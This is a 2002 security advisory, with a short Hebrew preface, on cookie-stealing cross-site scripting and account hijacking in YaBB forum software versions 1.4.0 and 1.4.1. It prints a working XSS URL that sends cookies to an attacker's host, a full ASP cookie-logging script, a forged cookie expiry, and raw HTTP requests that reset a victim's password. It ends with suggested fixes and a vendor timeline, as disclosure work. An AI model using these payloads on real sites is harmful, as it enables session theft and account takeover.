ניר אדר
underwar@hotmail.com

אסף רשף
assaf@fullscreen.co.il

גירסה 1.00 – 20.10.2002

YaBB 1.4.0 & 1.4.1 security vulnerabilities – הגירסה האנגלית

מסמך זה הורד מהאתר http://underwar.livedns.co.il.
אין להפיץ מסמך זה במדיה כלשהי, ללא אישור מפורש מאת המחברים.
מחברי המסמך אינם אחראים לכל נזק, ישיר או עקיף, שיגרם עקב השימוש במידע המופיע במסמך, וכן לנכונות התוכן של הנושאים המופיעים במסמך. עם זאת, המחברים עשו את מירב המאמצים כדי לספק את המידע המדויק והמלא ביותר.

Nir Adar
Email: underwar@hotmail.com
Home Page: http://underwar.livedns.co.il

Assaf Reshef
Email: assaf@fullscreen.co.il

מסמך זה מתאר בעיות אבטחה שנמצאו על ידי המחברים במערכת הפורומים הפופולרית YaBB.
מסמך זה הוא המסמך המקורי באנגלית, שהופץ באתרים השונים ברחבי העולם.
בקרוב נוציא גם גירסה עברית מורחבת למסמך זה, שתכלול את כל מסמך זה, ובנוסף נסביר בה כיצד מצאנו את בעיות האבטחה הנדונות.

אנא שלחו תיקונים והערות אל המחברים.

Two security vulnerabilities in YaBB allows stealing users cookies and hijacking users accounts.

Tested on:
YaBB 1.4.0 & 1.4.1

Summary :
YaBB is a leading provider of free, downloadable php forums for webmasters. Two security vulnerabilities in the product allows a remote attacker to steal users cookies, hijacking users accounts, and more. The issues discussed are :
1. Cross Site Scripting Vulnerability on the login procedure.
2. Unsecured changing profile method.

********* 1. Cross Site Scripting Vulnerability on the login procedure **********

If we log into YaBB forums and enter invalid username/password, the forum displays the username and the password we entered, and it doesn't strip HTML tags from the password field, allowing us to write malicious HTML and JavaScript into the page.
From now on, stealing the username cookie is pretty easy. The method for this is creating a css vulnerability in the target site, forcing him to send the cookie to an .asp file we have created. This can be done by this statement :
http://target.com/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORDwindow.location.href(%22http://www.oursite.com/hack.asp?%22%2Bdocument.cookie)
Sending the above url to someone can be suspicious to him but we can build a site which have a invisible frame to that url, which is alot more dangerous.

NOTE : the YaBB doesnt allow us to use "=" or "%3d", so we have to catch the cookie without a request("data") statement in the asp file, because then we will need to put "data=" in the url.

Ok, now lets build the hack.asp file, to log the cookie we are posting. The file should look like this :

```
------------------------------ hack.asp ----------------------------------
<%
Option Explicit

Const ForWriting = 2
Const ForAppending = 8
Const Create = True

Dim MyFile
Dim FSO ' FileSystemObject
Dim TSO ' TextStreamObject
Dim Str
Str = Request.ServerVariables("QUERY_STRING")

MyFile = Server.MapPath("./db/log.txt")

Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Set TSO = FSO.OpenTextFile(MyFile, ForAppending, Create)

if (Str <> "") then TSO.WriteLine Str
```

```
TSO.close
Set TSO = Nothing
Set FSO = Nothing
%>
<HTML>
<BODY>
You have just been hacked.
</BODY>
</HTML>
```
---------- EOF ----------

This file writes Request.ServerVariables("QUERY_STRING"), which is the whole path we are posting after the "?", into a log file.

********** 2. Unsecured changing profile method **********

YaBB has a form to change users details. the original password is not required when changing the password to a new one, meaning that if an attacker have someone else cookie, he can change his password.

- Defines:
USERNAME - The username
USERNAME COOKIE- The username cookie.

- YaBB Cookie Explanation :
The cookie's format of YaBB is something like :
Cookie: YaBBusername=<USERNAME>; YaBBpassword=ys6bPWmp44PXA; expiretime=1034304354

After the attacker got the cookie, he can use the cookie to change the user password. He can use the cookie even if the

expiretime has passed by changing the cookie to the following :
Cookie: YaBBusername=<USERNAME; YaBBpassword=ys6bPWmp44PXA; expiretime=9999999999

This one will always work.

- Exploiting the server and changing to a new password :
First of all, if the attacker only want to change the password and not the user details, he will have to get them from the server database and only then he will build his POST request that will change the user's password. to do that, he also have to include the stolen cookie.
to find out the user details, he will send this request to the server :

```
-----------------------------------
GET /forums/index.php?board=;action=profile;user=<USERNAME> HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword,
*/*
Accept-Language: en-us
Cookie: <USERNAME COOKIE>
```

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: www.victim.com
Proxy-Connection: Keep-Alive

Then the server will return a form with the <USERNAME> details, and allow attacker to change it. Note that the form doesn't ask the user to enter his previous password, and it doesn't check anything but the username and his cookie to see if it is the legitimate user. Now attacker is ready to build his main POST request to change the user's password

The POST request might look like this :

POST /forums/index.php?board=;action=profile2 HTTP/1.1
Accept: application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
TUCOWS;
YComp 5.0.0.0)
Host: www.victim.com
Content-Length: 286
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: <USERNAME COOKIE>

userID=666&user=<USERNAME>&passwrd1=HaCkEd&passwrd2=HaCkEd&name=<USERNAME>&email=victim@hotmail.com&gender=&bday1=00&bday2=00&bday3=0000&location=&websitetitle=&websiteurl=&icq=3&aim=&msn=&yim=&usertext=&hideemail=on&usertimeformat=&usertimeoffset=0&signature=&secretQuestion=&secretAnswer=&moda=1

All the details that the attacker set are values taken from the form he got when he sent the GET request first (note that userID is a hidden value).
You can see the "passwrd1" and "passwrd2" parameters that attacker send to the server.
After sending the above POST request, the user's password will be changed to "HaCkEd".

****

- Possible Solution:
For the CSS Problem : Dont show the invalid username/password, or at least strip HTML tags from the password field

For the password changing problem :
1. YaBB can save the IP of each user, and check the IP when someone asks to change his password. (Still not unbreakable, but much harder to exploit).
2. YaBB can ask the user to enter also the previous password before changing it to new one. In that way the attacker won't be able to break the forum protection by having only the user's cookie.

****

Vendor status :
10.10 First contact with the vendor, about the first security issue.
11.10-16.10 Talking with the vendor. Vendor didnt take this seriously
18.10 Second contact about the second security issue
18.10 Vendor didnt take this issue seriously either